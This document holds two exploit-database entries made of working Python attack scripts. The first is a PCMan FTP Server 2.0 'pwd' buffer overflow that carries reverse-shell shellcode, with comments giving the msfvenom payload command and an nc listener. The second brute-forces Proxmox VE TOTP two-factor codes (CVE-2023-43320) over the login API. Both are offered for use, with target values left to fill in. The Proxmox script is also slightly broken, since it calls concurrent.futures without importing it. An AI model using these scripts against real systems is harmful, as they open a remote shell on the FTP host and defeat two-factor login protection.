<pre><code># Exploit Title: PCMan FTP Server 2.0 - &#39;pwd&#39; Remote Buffer Overflow<br /># Date: 09/25/2023<br /># Exploit Author: Waqas Ahmed Faroouqi (ZEROXINN)<br /># Vendor Homepage: http://pcman.openfoundry.org/<br /># Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z<br /># Version: 2.0<br /># Tested on: Windows XP SP3<br /><br />#!/usr/bin/python<br /><br />import socket<br /><br />#buffer &#61; &#39;A&#39; &#42; 2500<br />#offset &#61; 2007<br />#badchars&#61;\x00\x0a\x0d<br />#return_address&#61;0x7e429353 (USER32.dll)<br />#msfvenom -p windows/shell_reverse_tcp LHOST&#61;192.168.146.130 LPORT&#61;4444 EXITFUNC&#61;thread -f c -b &quot;\x00\x0a\x0d&quot;<br />#nc -nvlp 4444<br /><br />overflow &#61; (<br />&quot;\xdb\xce\xd9\x74\x24\xf4\xba\xc1\x93\x3a\xcc\x58\x31\xc9&quot;<br />&quot;\xb1\x52\x31\x50\x17\x03\x50\x17\x83\x01\x97\xd8\x39\x7d&quot;<br />&quot;\x70\x9e\xc2\x7d\x81\xff\x4b\x98\xb0\x3f\x2f\xe9\xe3\x8f&quot;<br />&quot;\x3b\xbf\x0f\x7b\x69\x2b\x9b\x09\xa6\x5c\x2c\xa7\x90\x53&quot;<br />&quot;\xad\x94\xe1\xf2\x2d\xe7\x35\xd4\x0c\x28\x48\x15\x48\x55&quot;<br />&quot;\xa1\x47\x01\x11\x14\x77\x26\x6f\xa5\xfc\x74\x61\xad\xe1&quot;<br />&quot;\xcd\x80\x9c\xb4\x46\xdb\x3e\x37\x8a\x57\x77\x2f\xcf\x52&quot;<br />&quot;\xc1\xc4\x3b\x28\xd0\x0c\x72\xd1\x7f\x71\xba\x20\x81\xb6&quot;<br />&quot;\x7d\xdb\xf4\xce\x7d\x66\x0f\x15\xff\xbc\x9a\x8d\xa7\x37&quot;<br />&quot;\x3c\x69\x59\x9b\xdb\xfa\x55\x50\xaf\xa4\x79\x67\x7c\xdf&quot;<br />&quot;\x86\xec\x83\x0f\x0f\xb6\xa7\x8b\x4b\x6c\xc9\x8a\x31\xc3&quot;<br />&quot;\xf6\xcc\x99\xbc\x52\x87\x34\xa8\xee\xca\x50\x1d\xc3\xf4&quot;<br />&quot;\xa0\x09\x54\x87\x92\x96\xce\x0f\x9f\x5f\xc9\xc8\xe0\x75&quot;<br />&quot;\xad\x46\x1f\x76\xce\x4f\xe4\x22\x9e\xe7\xcd\x4a\x75\xf7&quot;<br />&quot;\xf2\x9e\xda\xa7\x5c\x71\x9b\x17\x1d\x21\x73\x7d\x92\x1e&quot;<br />&quot;\x63\x7e\x78\x37\x0e\x85\xeb\xf8\x67\x17\x6d\x90\x75\x17&quot;<br />&quot;\x63\x3d\xf3\xf1\xe9\xad\x55\xaa\x85\x54\xfc\x20\x37\x98&quot; <br />&quot;\x2a\x4d\x77\x12\xd9\xb2\x36\xd3\x94\xa0\xaf\x13\xe3\x9a&quot; <br />&quot;\x66\x2b\xd9\xb2\xe5\xbe\x86\x42\x63\xa3\x10\x15\x24\x15&quot; <br />&quot;\x69\xf3\xd8\x0c\xc3\xe1\x20\xc8\x2c\xa1\xfe\x29\xb2\x28&quot; <br />&quot;\x72\x15\x90\x3a\x4a\x96\x9c\x6e\x02\xc1\x4a\xd8\xe4\xbb&quot; <br />&quot;\x3c\xb2\xbe\x10\x97\x52\x46\x5b\x28\x24\x47\xb6\xde\xc8&quot; <br />&quot;\xf6\x6f\xa7\xf7\x37\xf8\x2f\x80\x25\x98\xd0\x5b\xee\xb8&quot; <br />&quot;\x32\x49\x1b\x51\xeb\x18\xa6\x3c\x0c\xf7\xe5\x38\x8f\xfd&quot;<br />&quot;\x95\xbe\x8f\x74\x93\xfb\x17\x65\xe9\x94\xfd\x89\x5e\x94&quot;<br />&quot;\xd7&quot;)<br /><br />shellcode &#61; &#39;A&#39; &#42; 2007 + &quot;\x53\x93\x42\x7e&quot; + &quot;\x90&quot; &#42; 32 + overflow<br /><br /># Change IP/Port as required <br /><br />s &#61; socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br /><br />try:<br /> print &quot;\nSending evil buffer...&quot;<br /> s.connect((&#39;192.168.146.135&#39;,21))<br /> data &#61; s.recv(1024)<br /> s.send(&#39;USER anonymous&#39; +&#39;\r\n&#39;)<br /> data &#61; s.recv(1024)<br /> s.send(&#39;PASS anonymous\r\n&#39;)<br /> s.send(&#39;pwd &#39; + shellcode + &#39;\r\n&#39;)<br /> s.close()<br /> print &quot;\nExploit completed successfully!.&quot;<br />except:<br /> print &quot;Could not connect to FTP!&quot;<br /> <br /><br /></code></pre>

<pre><code># Exploit Title: Proxmox VE TOTP Brute Force<br /># Date: 09/23/2023<br /># Exploit Author: Cory Cline, Gabe Rust<br /># Vendor Homepage: https://www.proxmox.com/en/<br /># Software Link: http://download.proxmox.com/iso/<br /># Version: 5.4 - 7.4-1<br /># Tested on: Debian<br /># CVE : CVE-2023-43320<br /><br />import time<br />import requests<br />import urllib.parse<br />import json<br />import os<br />import urllib3<br /><br />urllib3.disable_warnings()<br />threads&#61;25<br /><br />#################### REPLACE THESE VALUES #########################<br />password&#61;&quot;KNOWN PASSWORD HERE&quot;<br />username&#61;&quot;KNOWN USERNAME HERE&quot;<br />target_url&#61;&quot;https://HOST:PORT&quot;<br />##################################################################<br /><br />ticket&#61;&quot;&quot;<br />ticket_username&#61;&quot;&quot;<br />CSRFPreventionToken&#61;&quot;&quot;<br />ticket_data&#61;&#123;&#125;<br /><br />auto_refresh_time &#61; 20 # in minutes - 30 minutes before expiration<br />last_refresh_time &#61; 0<br /><br />tokens &#61; &#91;&#93;;<br /><br />for num in range(0,1000000):<br /> tokens.append(str(num).zfill(6))<br /><br />def refresh_ticket(target_url, username, password):<br /> global CSRFPreventionToken<br /> global ticket_username<br /> global ticket_data<br /> refresh_ticket_url &#61; target_url + &quot;/api2/extjs/access/ticket&quot;<br /> refresh_ticket_cookies &#61; &#123;&#125;<br /> refresh_ticket_headers &#61; &#123;&#125;<br /> refresh_ticket_data &#61; &#123;&quot;username&quot;: username, &quot;password&quot;: password, &quot;realm&quot;: &quot;pve&quot;, &quot;new-format&quot;: &quot;1&quot;&#125;<br /> ticket_data_raw &#61; urllib.parse.unquote(requests.post(refresh_ticket_url, headers&#61;refresh_ticket_headers, cookies&#61;refresh_ticket_cookies, data&#61;refresh_ticket_data, verify&#61;False).text)<br /> ticket_data &#61; json.loads(ticket_data_raw)<br /> CSRFPreventionToken &#61; ticket_data&#91;&quot;data&quot;&#93;&#91;&quot;CSRFPreventionToken&quot;&#93;<br /> ticket_username &#61; ticket_data&#91;&quot;data&quot;&#93;&#91;&quot;username&quot;&#93;<br /><br />def attack(token):<br /> global last_refresh_time<br /> global auto_refresh_time<br /> global target_url<br /> global username<br /> global password<br /> global ticket_username<br /> global ticket_data<br /> if ( int(time.time()) &gt; (last_refresh_time + (auto_refresh_time &#42; 60)) ):<br /> refresh_ticket(target_url, username, password)<br /> last_refresh_time &#61; int(time.time())<br /><br /> url &#61; target_url + &quot;/api2/extjs/access/ticket&quot;<br /> cookies &#61; &#123;&#125;<br /> headers &#61; &#123;&quot;Csrfpreventiontoken&quot;: CSRFPreventionToken&#125;<br /> stage_1_ticket &#61; str(json.dumps(ticket_data&#91;&quot;data&quot;&#93;&#91;&quot;ticket&quot;&#93;))&#91;1:-1&#93;<br /> stage_2_ticket &#61; stage_1_ticket.replace(&#39;\\&quot;totp\\&quot;:&#39;, &#39;\&quot;totp\&quot;%3A&#39;).replace(&#39;\\&quot;recovery\\&quot;:&#39;, &#39;\&quot;recovery\&quot;%3A&#39;)<br /> data &#61; &#123;&quot;username&quot;: ticket_username, &quot;tfa-challenge&quot;: stage_2_ticket, &quot;password&quot;: &quot;totp:&quot; + str(token)&#125;<br /> response &#61; requests.post(url, headers&#61;headers, cookies&#61;cookies, data&#61;data, verify&#61;False)<br /> if(len(response.text) &gt; 350):<br /> print(response.text)<br /> os._exit(1)<br /><br />while(1):<br /> refresh_ticket(target_url, username, password)<br /> last_refresh_time &#61; int(time.time())<br /><br /> with concurrent.futures.ThreadPoolExecutor(max_workers&#61;threads) as executor:<br /> res &#61; &#91;executor.submit(attack, token) for token in tokens&#93;<br /> concurrent.futures.wait(res)<br /> <br /><br /></code></pre>